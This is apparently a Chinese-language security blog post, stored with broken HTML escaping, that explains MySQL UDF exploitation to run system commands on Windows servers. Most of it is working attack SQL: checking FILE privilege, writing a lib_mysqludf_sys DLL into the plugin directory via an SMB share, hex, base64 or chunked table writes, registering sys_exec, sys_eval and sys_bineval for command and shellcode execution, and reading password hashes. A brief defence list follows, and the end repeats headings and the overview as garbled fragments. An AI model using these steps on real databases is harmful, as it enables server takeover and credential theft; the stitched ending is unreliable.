MySQL UDF 漏洞利用技术详解<\/h1>

概述<\/h2>
MySQL用户定义函数(UDF)漏洞利用是一种通过MySQL数据库执行系统命令的技术。本文详细介绍了在Windows系统上利用MySQL UDF实现代码执行的方法，特别针对MySQL 5.7版本进行了深入分析。<\/p>

环境准备<\/h2>

MySQL版本确认<\/strong>：<\/p>

select<\/span> @@<\/span>version_compile_os, @@<\/span>version_compile_machine;
<\/span><\/span><\/code><\/pre>确认操作系统架构和MySQL版本架构是否匹配。<\/p>
<\/li>

权限检查<\/strong>：<\/p>
select<\/span> *<\/span> from<\/span> mysql.user<\/span> where<\/span> user<\/span> =<\/span> substring_index(user<\/span>(), '@'<\/span>, 1<\/span>);
<\/span><\/span><\/code><\/pre>确认当前用户是否有FILE权限（可读写文件）。<\/p>
<\/li>

插件目录定位<\/strong>：<\/p>
select<\/span> @@<\/span>plugin_dir;
<\/span><\/span><\/code><\/pre>从MySQL 5.0.67开始，UDF库必须放在插件目录中。<\/p>
<\/li>
<\/ol>
UDF库上传方法<\/h2>
方法一：直接加载网络共享文件<\/h3>
select<\/span> load_file('\\\\192.168.0.19\\network\\lib_mysqludf_sys_64.dll'<\/span>) 
<\/span><\/span>into<\/span> dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll"<\/span>;
<\/span><\/span><\/code><\/pre>方法二：十六进制编码写入<\/h3>


生成十六进制文件：<\/p>
select<\/span> hex(<\/span>load_file(<\/span>'\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.dll'<\/span>))<\/span> 
<\/span><\/span>into dumpfile '\/tmp\/udf.hex'<\/span>;
<\/span><\/span><\/code><\/pre><\/li>

写入目标：<\/p>
select<\/span> 0<\/span>x4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000000000000000000... 
<\/span><\/span>into<\/span> dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll"<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
<\/ol>
方法三：使用临时表分段写入<\/h3>
create<\/span> table<\/span> temp(data<\/span> longblob);
<\/span><\/span>insert<\/span> into<\/span> temp(data<\/span>) values<\/span> (0<\/span>x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
<\/span><\/span>update<\/span> temp set<\/span> data<\/span> =<\/span> concat(data<\/span>,0<\/span>x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
<\/span><\/span>select<\/span> data<\/span> from<\/span> temp into<\/span> dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll"<\/span>;
<\/span><\/span><\/code><\/pre>方法四：Base64编码写入（MySQL 5.6.1+）<\/h3>
select<\/span> to_base64(load_file('\/usr\/share\/metasploit-framework\/data\/exploits\/mysql\/lib_mysqludf_sys_64.dll'<\/span>)) 
<\/span><\/span>into<\/span> dumpfile '\/tmp\/udf.b64'<\/span>;
<\/span><\/span>
<\/span><\/span>select<\/span> from_base64("TVqQAAMAAAAEAAAA\/\/8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAAzwu3gd6ODs3ejg7N3o4OzafEQs3Wjg7Np8QCzfaODs2nxB7N1o4OzUGX4s3Sjg7N3o4KzW6ODs2nxCrN2o4OzafEWs3Wjg7Np8RGzdqODs2nxErN2o4OzUmljaHejg7MAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBgBwsYNLAAAAAAAAAADwACIgCwIJAAASAAAAFgAAAAAAADQaAAAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAgAAAAAQAADPOAAACAEABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAA5AAAFAgAAQDQAADwAAAAAYAAAsAIAAABQAABoAQAAAAAAAAAAAAAAcAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAABwAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAREAAAABAAAAASAAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAABQsAAAAwAAAADAAAABYAAAAA"<\/span>) 
<\/span><\/span>into<\/span> dumpfile "D:\\MySQL\\lib\\plugin\\udf.dll"<\/span>;
<\/span><\/span><\/code><\/pre>UDF函数详解<\/h2>
1. sys_exec<\/h3>

功能<\/strong>：执行系统命令，不返回输出<\/li>
安装<\/strong>：
create<\/span> function<\/span> sys_exec returns<\/span> int soname 'udf.dll'<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
验证<\/strong>：
select<\/span> *<\/span> from<\/span> mysql.func where<\/span> name =<\/span> 'sys_exec'<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
使用示例<\/strong>：
select<\/span> sys_exec('whoami'<\/span>);
<\/span><\/span><\/code><\/pre><\/li>
卸载<\/strong>：
drop<\/span> function<\/span> sys_exec;
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
2. sys_eval<\/h3>

功能<\/strong>：执行系统命令并返回输出<\/li>
安装<\/strong>：
create<\/span> function<\/span> sys_eval returns<\/span> string soname 'udf.dll'<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
使用示例<\/strong>：
select<\/span> sys_eval('dir'<\/span>);
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
3. sys_get<\/h3>

功能<\/strong>：获取环境变量值<\/li>
安装<\/strong>：
create<\/span> function<\/span> sys_get returns<\/span> string soname 'udf.dll'<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
使用示例<\/strong>：
select<\/span> sys_get('PATH'<\/span>);
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
4. sys_bineval（32位系统有效）<\/h3>

功能<\/strong>：执行shellcode<\/li>
安装<\/strong>：
create<\/span> function<\/span> sys_bineval returns<\/span> int soname 'udf.dll'<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
使用示例<\/strong>：
select<\/span> sys_bineval(from_base64(load_file('.\/calc.b64'<\/span>)));
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
注意事项<\/h2>


版本兼容性<\/strong>：<\/p>

MySQL 5.0.67+：必须将DLL放入plugin_dir指定的目录<\/li>
MySQL 5.0.0-5.0.66：可放入系统目录（如system32）<\/li>
MySQL 4.1.25之前：可放入多个系统目录<\/li>
<\/ul>
<\/li>

密码字段变化<\/strong>：<\/p>

MySQL 5.6及以下：
select<\/span> host<\/span>, user<\/span>, password from<\/span> mysql.user<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
MySQL 5.7+：
select<\/span> host<\/span>, user<\/span>, authentication_string from<\/span> mysql.user<\/span>;
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
<\/li>

插件目录修改<\/strong>：<\/p>

通过命令行参数：
mysqld.exe --plugin-dir=<\/span>C:\\<\/span>temp\\<\/span>plugins\\<\/span>
<\/span><\/span><\/code><\/pre><\/li>
通过配置文件：
[mysqld]<\/span>
<\/span><\/span>plugin_dir<\/span> =<\/span> C:\\temp\\plugins\\<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
<\/li>
<\/ol>
防御措施<\/h2>

限制MySQL用户的FILE权限<\/li>
设置secure-file-priv参数限制文件读写位置<\/li>
定期更新MySQL到最新版本<\/li>
监控plugin目录的异常文件<\/li>
限制MySQL服务器的网络访问<\/li>
<\/ol>
参考资源<\/h2>

MySQL官方文档：CREATE FUNCTION UDF语法<\/li>
MySQL 5.6.1版本说明：新增Base64函数<\/li>
MSDN文档：Windows API参考<\/li>
Exploit-DB和Packet Storm上的相关研究<\/li>
<\/ol>
通过以上技术，安全研究人员可以测试MySQL数据库的安全性，而管理员则可以了解如何更好地保护数据库系统。<\/p>

MySQL UDF 漏洞利用技术详解<\/h1>

概述<\/h2> MySQL用户定义函数(UDF)漏洞利用是一种通过MySQL数据库执行系统命令的技术。本文详细介绍了在Windows系统上利用MySQL UDF实现代码执行的方法，特别针对MySQL 5.7版本进行了深入分析。<\/p>

UDF库上传方法<\/h2>

UDF函数详解<\/h2>

概述<\/h2>
MySQL用户定义函数(UDF)漏洞利用是一种通过MySQL数据库执行系统命令的技术。本文详细介绍了在Windows系统上利用MySQL UDF实现代码执行的方法，特别针对MySQL 5.7版本进行了深入分析。<\/p>